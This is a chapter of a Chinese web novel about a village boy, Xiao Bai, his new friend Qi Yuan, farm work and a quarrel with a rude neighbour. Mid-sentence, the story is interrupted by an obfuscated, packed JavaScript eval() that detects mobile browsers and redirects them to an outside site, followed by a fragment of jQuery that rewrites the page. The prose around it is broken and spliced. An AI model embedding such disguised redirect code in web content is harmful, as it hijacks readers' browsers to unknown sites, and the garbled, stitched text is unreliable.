张永安话音不过将将落下,站在小哥儿对面的齐原便微不可察抬眸往对方身上扫过一眼,只是他看过去的视线不过一瞬之间,在场并没有任何人有所察觉。
突然被那么打趣一句,要是以前萧白肯定会装聋作哑当没听到,但这会儿他担心刚认的“小弟”会对自己抱有什么怀疑的态度,忙熟稔抬起胳膊肘毫不客气往后戳了下张永安的肚子:“你小子要是不会说话,可以把嘴巴牢牢闭上。”
张永安茫然眨了眨眼,完全不知道自己说错了什么话,只想着白哥儿是因为齐原对他生气,他心里自是更加不开心起来。
萧白是真没注意到张永安心里那点儿小九九,抬眸望见齐原定定往他们这边看过来,略一思考过后他再次抬手拍了拍少年郎的肩膀:“阿原不用羡慕这小子,以后你也可以多过来这边,哥哥一定经常带你出去玩。”
说着萧白顺势就伸着手臂熟稔搭在齐原肩膀上,完全是刚刚跟张永安勾肩搭背一模一样的姿势,齐原微微扭头望着小哥儿热烈的笑脸,在微微感受到对方的呼吸时,他一双耳根不易察觉泛起了点点红晕。
像是突然想起了什么,萧白非常体贴只跟少年郎勾肩搭背几息功夫,随即往后退个两步想让齐原可以更加自在些,毕竟对方看起来就不是什么自来熟的性格,怕是自己过于热情是会把人吓到了。
比自己略微高上一点点的体温倏地挪开,齐原很是知礼向张永安点点头算是打了声招呼,随即才又重新看向萧白:“我先回去了,谢谢你送的炸幼蜩,也谢谢你上次的帮忙。”
知道少年郎指的是上次他在树上那弹弓射张春梅和齐生的事情,萧白非常体贴又神秘冲着齐原狡黠眨眨眼:“不用跟哥客气,以后再遇到那种事情可以过来请我帮忙。”
小哥儿前面似乎还是在开玩笑,后面半句话却说得极为认真,齐原抬眸注视着对方稍显复杂的眼眸,却没有继续说些什么,而是在稍稍点头后转身便往回走。
“阿白,你上次帮了他什么,怎么搞得一副神神秘秘的样子?”张永安实在太过好奇,齐原不过刚刚离开他就立刻凑到萧白面前,俨然一副打破沙锅问到底的架势。
狐疑盯着张永安看了几眼,在张永安有些不太自在的目光中,萧白伸出一根手指戳着对方的额头往后推:“我怎么不知道你什么时候好奇心这么重了,人家的私事你也要问,多冒味啊!”
平时最喜欢打破砂锅问到底的人突然说自己冒昧,张永安有些怀疑自我地摸了摸下巴,等他终于反应过来白哥儿又在倒打一耙,刚想上前替自己理论一番,但小哥儿拔腿早就跑远了。
折腾来折腾去自己最想问的问题反而被抛到了脑后,不过萧白眼下对阿奶和阿娘到底在搞什么猫腻已经没那么好奇了,毕竟一场大雨过后没多久,地里便又要开始忙活起来,萧白眼下对地里的活倒是生出几分浓厚的兴趣。
上辈子萧白大学学的就是农科,只是从呱呱坠地到现在的十一二年里,他已经不受控制遗忘了很多、很多上辈子发生过的事情,只在农科上面他仍抱着颇为浓厚的兴趣。
甚至有段时间他还很想问阿父要一小块地自己捯饬,但土地就是农家人的根本,即便家里人再怎么宠溺孩子,也不会真让萧白在这上面瞎折腾。
对此萧白完全没有任何撒泼打滚非得要到一块地的意思,毕竟自家院子后头就有一小块菜地,他完全可以先在那上面折腾些小实验。
只是那跟自家几十、上百亩良田还是没法比的,于是萧白只能趁着农忙的时候,死皮赖脸跟在阿公、阿父后头凑热闹。
就凭齐原亲爹那抛妻弃子的架势,齐家肯定是不可能给齐原和谢盈娘分一点点地的,所以每到农忙的时候,娘俩也极少会出现在村子里的地头上,只是因为家里拮据到实在快要吃不起饭了,在身体稍微好上些后,谢盈娘便“背着”儿子跟在村上几位婶娘后头过来给萧家帮忙。
豆种播进地里也是极有讲究的,那边大人们已经热火朝天忙起来,被留在地头乘凉的萧白却有些耐不住性子,他随手抓了把经过翻耕而稍稍松散些的泥土,好一会儿后突然望着远处开始沉思起来。
这个时代翻耕土地靠得还是格外笨重的犁头,一天忙活下来人都快要累散架了,如果犁头能稍稍改进些,大家伙儿不至于那么累的同时,也能加快一下农忙的进程。
想要改进犁头只是脑袋中一闪而过的念头,真正实施起来绝对是件颇为艰难的事情,对萧白这样略显慵懒和摆烂的人而言,实在有些太过为难人了。
偏偏是在这样的前提下,改进犁头的想法依旧在萧白脑海中来回飘荡,直到他从地上随意捡起一块石子,就着松散的土地一通乱画。
村孰夫子家的地正好也在附近,因着各家都在农忙,夫子干脆给村孰的孩子们都放了好几天假期,这会儿那些孩子几乎都在各家的地里或忙罗或捣乱,只有齐原在夫子家的地里挥汗如雨。
偏偏在这样的情况下,齐家老老少少从夫子家的地头上路过,看见齐原和谢盈娘母子俩分别在夫子家和萧家的地里忙活,一张嘴就开始冷言冷语、夹枪带棒起来。
偏偏张春梅向来是个大嗓门的,她上回在前儿媳妇家里吃了个大憋,眼见现在压根没人会帮齐原讲话,她自然一张嘴又骂骂咧咧起来。
地里本身就非常空旷,张春梅骂骂咧咧的大嗓门能从这点的地头传到那边的地尾,坐在自家地头冥思苦想的萧白被闹得脑瓜子一阵嗡鸣作响,扭头他就毫不客气冲着张春梅大声道:“阿公、阿父,谁家狗怎么牵到地里来了,吵得我脑瓜子嗡嗡响。”
小哥儿这么毫不客气一开口,原本边饶有兴致听着张春梅骂街,边闷头忙活自己事情的大家伙儿立刻将注意力落到齐家一大家子头上,甚至大家伙儿哈哈大笑着的同时还交头接耳“窃窃私语”起来。
说是“窃窃私语”,实际上大家说了些什么齐家人是听得一清二楚,于是一群又气又恼的家伙先是瞪了眼“没大没小”的萧家哥儿,随后更是气恼望着非要没事找事的张春梅。
张春梅心里那叫一个又气又恼,偏偏一大家子都颇为羞愤朝她看过来,她是想骂些什么都骂不出门,最后还是向来喜欢装聋作哑的齐老头喊了声“赶紧走,还不够丢人的”,她才涨红着张脸跟在一大家子后面灰溜溜离开。
“一条会叫的狗跟一群装聋作哑却暗暗挑事看热闹的黄鼠狼,看来齐家阿奶也只能嚣张给外人看,那折腾来、折腾去到底图什么呢!”望着齐家人多少有些落荒而逃的背影,萧白悠哉悠哉往身后田垄上一靠,仰头望着今日难得没那么炽热的天空发起呆来。
而跟小哥儿有一段距离的夫子家田地里,齐原木着张脸继续干手上的活计,连掌心持续磨出好几个水泡都没能让他停下片刻,只在大家已经全然收回心神继续忙碌着的时候,他才稍稍抬眼往萧白所在的方向看过去。
这会儿小哥儿正伸手挠着脖颈的位置,看上去用的力道还不小,应该是刚刚背靠在田垄上的时候被什么虫子咬到了,只微微垂头的片刻功夫里,齐原便忍不住想起那晚小哥儿磕破一点膝盖就眼泪汪汪的场景,
这次被虫子咬狠了,小哥儿应该也是会哭的吧?
齐原在脑海中这样想着,一双并没有太多外露情绪的眼眸却忍不住往后山瞥了一眼,他记得山上有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775732|174712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好几种草药都是可以用来活血止痒的。
而旁边坐在吴夫子家地头的吴舒华,却始终将注意力落在齐原身上,作为整个上林村仅有的两个小哥儿之一,吴舒华在外的名头可向来都比萧白好很多。
毕竟一个被父母娇惯得不成样子,一个知书达理懂进退;一个因为天天在村孰睡觉被狼狈赶了出来,一个四书五经读得比那些正经儿郎还优秀;一个只知道跟村上年纪小的儿郎到处鬼混,一个已经能在村孰给阿公帮些小忙。
这样两相对比下来谁都能看出哪个小哥儿更优秀,不过萧白向来不在意跟外人做对比,他只要自己活得痛快就行了,甚至萧家所有长辈也一致认为只要孩子活得舒心就行。
吴舒华显然是不一样的,他家里上面有亲兄长和堂兄,下面又还有几个妹妹,夹在中间的他努力让自己变得更优秀,只可惜往往他所付出的辛苦跟最后的收获并不成正比。
在自家阿公所有的学生中,心高气傲的吴舒华只看得见齐原,不仅仅因为齐原长得好看,更因为他努力、专注、不在意外界半分的流言蜚语。
所以从挺久之前吴舒华就想着到时候可以跟齐原有进一步的发展,只可惜齐原哪怕每日在他家待的时间足够久,却从没有将注意力落到他身上过。
但今天的齐原似乎有些不太一样,哪怕那双眼眸还跟平日里一样将所有人视若不见,但吴舒华依旧能够察觉到对方今日的不同。
“辛苦小半天了,喝点儿水吧!”给家里所有人都送了放凉的水过去,最后吴舒华才状作不经意走到齐原面前,在少年郎停下手中动作的片刻功夫里,他连忙将自己手中准备好的竹筒递过去。
只定定看着那竹筒几息时间,齐原立刻很有分寸感地摇摇头,并稍稍往后退了两步:“多谢,不过我自己有带水过来。”
因为在大热天里忙碌了很长时间,齐原身上灰扑扑的衣服已经被打湿一大片,甚至嗓子也因为干渴变得格外沙哑,偏偏是在这样的情况下,他依旧牢牢握着手中的锄头,在稍稍往后退开一些后,弯腰又开始继续忙碌起来。
萧白已经挪到大树下有阴凉的地方,抬眸望见少年郎紧握着锄头的双头,好一会儿后他忍不住紧紧蹙起眉头。
少年明明已经累成那个样了,手上的动作却是半点都没停下来,反而一下一下干得认真又专注,莫名萧白就有些心疼起自己的新“小弟”。
如此想着小哥儿干脆从大树下拍拍屁股爬起来,在跑去跟自家阿公说了些什么后,萧白转身又大大咧咧往吴夫子所在的方向走过去。
在吴夫子看来,萧青山跟萧白真不愧是亲父子,都一样是让人非常之头疼的地步,好在现在父子俩都不用在村孰听课,故而吴夫子每次见到父子俩都莫名感觉非常庆幸。
这会儿看着小哥儿朝自己大摇大摆走过来,夫子下意识板起了张脸:“白哥儿,怎么来这边了?”
“夫子、夫子,你看我脖子被虫子咬得又红又痒,听说齐原认识不少草药,我这不就想着向您借个人去山里弄点草药嘛!”说着萧白又抬手指了指已经朝这边走过来的杜大虎,“放心,不白向您借人,我姐夫说过来顶替齐原一会儿。”
光看杜大虎那健硕的体格,就知道干起活来可比齐原中用太多,而且孙夫子是真没有虐待学子的坏毛病,闻言便赶紧摆摆手:“去去去,赶紧把人带走弄药草去,我这辈子就没见过你比还娇气的哥儿。”
被吐槽娇气的萧白也全然不气恼,且更没有听话赶紧把人带走,而是冲着吴夫子又是一通插科打诨,在吴夫子真要被闹到啼笑皆非时,萧白才一脸欠揍样儿把仍在认真刨地的齐原拉走。